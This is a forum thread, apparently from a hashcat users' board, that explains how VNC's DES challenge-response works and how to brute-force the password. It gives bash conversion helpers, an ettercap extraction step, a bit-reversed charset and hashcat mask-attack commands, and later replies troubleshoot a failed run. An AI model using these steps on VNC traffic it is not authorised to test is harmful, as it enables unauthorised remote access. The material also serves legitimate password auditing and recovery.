VNC challenge response password crack
#1
Hello everyone,

We wanted to crack a VNC challenge response using hashcat but could not find a complete guide.

So we started looking into how the VNC challenge response authentication works and here is what we understood:
- The client initiates a connection with the server.
- The server sends a unique/random 16-bytes challenge to the client.
- The client uses DES to encrypt (one round) the challenge with the input password and sends the response.
- The server receives the response and does the same encryption scheme to compare the results.
- The connection is established if it matches.

For info:
It is also known that DES encryption algorithm can only accept keys of 56 bits, since ASCII uses 7 bits long characters the key can be up to 8 characters long maximum. If it is shorter, it will be padded with zeros. This is making the assumption that the traditional VNC protocol is used with DES (some new VNC client may have modified this..).


The issue is that VNC doesn't use the password given by the user as is but performs a transformation first:
- the bits of each byte of the corresponding ascii value are reversed

Code:
Password : 12345678
Ascii values (HEX) : 31 32 33 34 35 36 37 38
Binary values:      00110001 00110010 00110011 ....
Binary reversed:  10001100 01001100 11001100 ....
Reversed (HEX): 8c 4c cc 2c ac 6c ec 1c

So the actual VNC user password used for encryption is : 8c4ccc2cac6cec1c (12345678 in ASCII)


John The Ripper has implemented this in the version 1.9.0 Jumbo-1

In order to crack VNC passwords with hashcat we implemented this transformation with a small bash script to create a modified charset of the ascii characters.

Code:
toHexVNC(){
  for ((i=0;i<${#1};i++));
  do
    ascii2binrev=`echo "${1:$i:1}" | perl -lpe '$_=unpack"B*",$_' | rev`
    binrev2hex+=`printf "%02x\n" "$((2#$ascii2binrev))"`
  done
  echo $binrev2hex
}

We are aware that this code could be optimized by using other conversion method (c.f. C++, comparison table,..).


We can now crack it with hashcat using:

- attack 3 (mask attack)

- type 14000 (DES)

- hash format : <cipher>:<plaintext> (in VNC: <response>:<challenge> and NOT <challenge>:<response>)
  --> the response and challenge needs to be truncated to 8bytes length (no need to waste resources on the whole 16 bytes and in any case hashcat accepts only 8 bytes of cipher/plaintext).

- reversed charset and option --hex-charset


note : it might be more interesting to generate a custom reversed charset using the function above as the full DES charset of hashcat uses more than the 95 main ascii characters. See "VNC_allascii.charset" below.


Code:
$ ettercap -Tq -r VNC.cap

ettercap 0.7.5.4 copyright 2001-2013 Ettercap Development Team
...
192.168.11.110-5901:$vnc$*a5d62a6cd58f41abe8785a4485811aac*248d3290ce533f028613f092f25834cf
...

$ cat toCrack.txt

248d3290ce533f02:a5d62a6cd58f41ab


$ cat VNC_allascii.charset (all 95 ascii characters transfomed for VNC)
8646c626a666e6169656d636b676f60e8e4ece2eae6eee1e9e5e8242c222a262e2129252d232b272f20a8a4aca2aaa6aea1a9a5a0c8c4ccc2cac6cec1c9c840224a4547ab4d4fabc7edabadebe5cdc3c7c3474fcf43a449414e46406043e



$ hashcat -a 3 -m 14000 toCrack.txt -1 VNC_allascii.charset ?1?1?1?1?1?1?1?1 --hex-charset



#Returns: 8c4ccc2cac6cec1c



The cracked password will be an HEX value and will need to be reversed again to find the password (in ASCII) with the following function:

Code:
toAscii(){
  for ((i=0;i<${#1};i+=2));
  do
    hex2binary=`perl -e 'printf "%08b\n", 0x'"${1:$i:2}"'' | rev`
    ascii2binrev+=`echo $hex2binary | perl -lpe '$_=pack"B*",$_'`
  done
  echo $ascii2binrev
}

Which will give the reversed password: 12345678



Some benchmarks:

Using 2x NVIDIA Quadro P4000 8GB

8 characters long loweralphanumspace -> max. ~2min
8 characters long mixalphanum -> max. ~2.2hours
8 characters long mixalphanumspace -> max. ~2.5hours
8 characters long allascii -> max. ~3days



Hope you'll find this interesting and useful.
Please feel free to give us feedback, thank you.

A&J
Reply
#2
Wow very cool, according to https://en.wikipedia.org/wiki/Virtual_Network_Computing there are different protocols used by different VNC clients. Which protocol / clients use this particular method of authentication?
Reply
#3
(12-18-2019, 04:34 PM)DanielG Wrote: Wow very cool, according to https://en.wikipedia.org/wiki/Virtual_Network_Computing there are different protocols used by different VNC clients. Which protocol/clients use this particular method of authentication?

The protocol it uses is RFB ("Remote FrameBuffer"). Even though it is not the most secure protocol, it is important to note that often VNC is used with another security layer. For example, RealVNC uses TLS which makes it harder for someone who is sniffing the traffic to retrieve the challenge-response and so, to crack the password. Also, as it is written on Wikipedia, VPN or SSH connection could be used to add security.
Reply
#4
C:\hashcat-6.1.1>hashcat -a 3 -m 14000 -1 charsets/VNC_ascii.charset --hex-charset -o pass.txt 248d3290ce533f02:a5d62a6cd58f41ab ?1?1?1?1?1?1?1?1
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 ) - Platform #1 [Intel(R) Corporation]
=============================================================
* Device #1: Intel(R) Core(TM) i7-3520M CPU @ 2.90GHz, skipped
* Device #2: Intel(R) HD Graphics 4000, 1361/1425 MB (356 MB allocatable), 16MCU

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 8

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
* Brute-Force

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 99 MB

Approaching final keyspace - workload adjusted.

Session..........: hashcat
Status...........: Exhausted
Hash.Name........: DES (PT = $salt, key = $pass)
Hash.Target......: 248d3290ce533f02:a5d62a6cd58f41ab
Time.Started.....: Thu Feb 04 21:19:58 2021 (25 secs)
Time.Estimated...: Thu Feb 04 21:20:23 2021 (0 secs)
Guess.Mask.......: ?1?1?1?1?1?1?1?1 [8]
Guess.Charset....: -1 charsets/VNC_ascii.charset, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue......: 1/1 (100.00%)
Speed.#2.........:  8585.2 kH/s (8.01ms) @ Accel:1 Loops:1024 Thr:8 Vec:1
Recovered........: 0/1 (0.00%) Digests
Progress.........: 214358881/214358881 (100.00%)
Rejected.........: 0/214358881 (0.00%)
Restore.Point....: 161051/161051 (100.00%)
Restore.Sub.#2...: Salt:0 Amplifier:1024-1331 Iteration:0-1024
Candidates.#2....: $HEX[4c8cccecccececec] -> $HEX[1cecec00ecececec]

Started: Thu Feb 04 21:19:55 2021
Stopped: Thu Feb 04 21:20:24 2021



I am following the same instructions. I can't get the same result. I even added 00 to the VNC_ascii.charset file. result fails again. where am i doing wrong ? help me
Reply
#5
undeath edit: there is no need to quote the post exactly before yours.

Hi,
I looked into your output. It seems to me that your charset might not be correct.
Indeed, if you are using the charset of 95 ASCII characters you should have 6095689385410816 possibilities while I see that you only have 214358881 possibilities.
You can try with a simpler charset to begin with, for example only numerical values.
Here is that charset with the bytes already reversed as explained : 8c4ccc2cac6cec1c9c0c
This charset gives 100000000 possibilities and should find the password ("12345678") quite fast.
Let me know if that helped.
Reply
#6
(02-05-2021, 01:06 PM)AJB Wrote: undeath edit: there is no need to quote the post exactly before yours.

Hi,
I looked into your output. It seems to me that your charset might not be correct.
Indeed, if you are using the charset of 95 ASCII characters you should have 6095689385410816 possibilities while I see that you only have 214358881 possibilities.
You can try with a simpler charset to begin with, for example only numerical values.
Here is that charset with the bytes already reversed as explained : 8c4ccc2cac6cec1c9c0c
This charset gives 100000000 possibilities and should find the password ("12345678") quite fast.
Let me know if that helped.

Although I know the forum rules, I cannot use them properly. sorry...

my charset bash toHexVNC.sh 0123456789 = 0c8c4ccc2cac6cec1c9c = Progress.........: 100000000/100000000 (100.00%) result : exhausted 

then add 00 to the charset and it becomes Progress.........: 214358881/214358881 (100.00%) but the result is again exhausted.
Thank you from now.
Reply
#7
I attempted to reproduce the problem reported on similar hardware and found there seems to be some bug where using "00" in the hex charset will cause the search to fail. I could not reproduce this on Newer CPUs or nVidia GPU hardware so I assume the problem is specific to the Intel HD 4000 hardware or driver or the OpenCL API being used.

I don't frequent the forums or use this tool often enough... If anyone sees this and believe it is worth looking into for a bug fix, please direct it to the issues section at github.

Quote:12345678 = 8c4ccc2cac6cec1c
abcd = 8646c626

  • 8c4ccc2cac6cec1c = Works (8 Chars)
  • 8c4ccc2cac6cec1c00 = Works (9 Chars)
  • 8c4ccc2cac6cec1c0086 = Works (10 Chars)
  • 8c4ccc2cac6cec1c008646 = Fails (11 Chars)
  • 8c4ccc2cac6cec1c8646c6 = Works (11 Chars; Removed 00)
  • 8c4ccc2cac6cec1c008646c6 = Fails (12 Chars)
  • 8c4ccc2cac6cec1c8646c626 = Works (12 Chars; Removed 00)
  • 8c4ccc2cac6cec1c008646c626 = Fails (13 Chars; Also tried moving the 00 to beginning or end)
Switching the CPU (-D 1 in my case) ; it works (Example tested: charset 8c4ccc2cac6cec1c008646 - 11 chars including with 00).

Code:
>type nums.chars
0c8c4ccc2cac6cec1c9c

\Downloads\hashcat-6.1.1>hashcat.exe -a 3 -m 14000 -1 nums.chars --hex-charset 248d3290ce533f02:a5d62a6cd58f41ab ?1?1?1?1?1?1?1?1
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 ) - Platform #1 [Intel(R) Corporation]
=============================================================
* Device #1: Intel(R) Core(TM) i5-3380M CPU @ 2.90GHz, skipped
* Device #2: Intel(R) HD Graphics 4000, 1361/1425 MB (356 MB allocatable), 16MCU

...[Snip]...

248d3290ce533f02:a5d62a6cd58f41ab:$HEX[8c4ccc2cac6cec1c]

Session..........: hashcat
Status...........: Cracked
Hash.Name........: DES (PT = $salt, key = $pass)
Hash.Target......: 248d3290ce533f02:a5d62a6cd58f41ab
[color=#000000][size=small][font=Monaco, Consolas, Courier, monospace]...[Snip]...[/font][/size][/color]
Guess.Mask.......: ?1?1?1?1?1?1?1?1 [8]
Guess.Charset....: -1 nums.chars, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue......: 1/1 (100.00%)
Speed.#2.........:  8258.9 kH/s (12.18ms) @ Accel:1 Loops:1024 Thr:8 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 19200000/100000000 (19.20%)
Reply
#8
Dude, you are not allowed to post the hash here. Check the forum rules.

You can ask for help and members can advice you.

Who knows if its even you own backup. To start with you can give hints about the encoding, chars, digits, special chars, upper / lower cases, length, surely not included chars....
Reply
#9
(04-15-2021, 09:37 PM)Centurio Wrote: Dude, you are not allowed to post the hash here. Check the forum rules.

You can ask for help and members can advice you.

Who knows if its even you own backup. To start with you can give hints about the encoding, chars, digits, special chars, upper / lower cases, length, surely not included chars....

helm me bro
Reply
#10
Yes I can, but have you seen my post before?

With a 1080ti you gonna have 100 trys per second. So you want to provide as much Info as possible.
Reply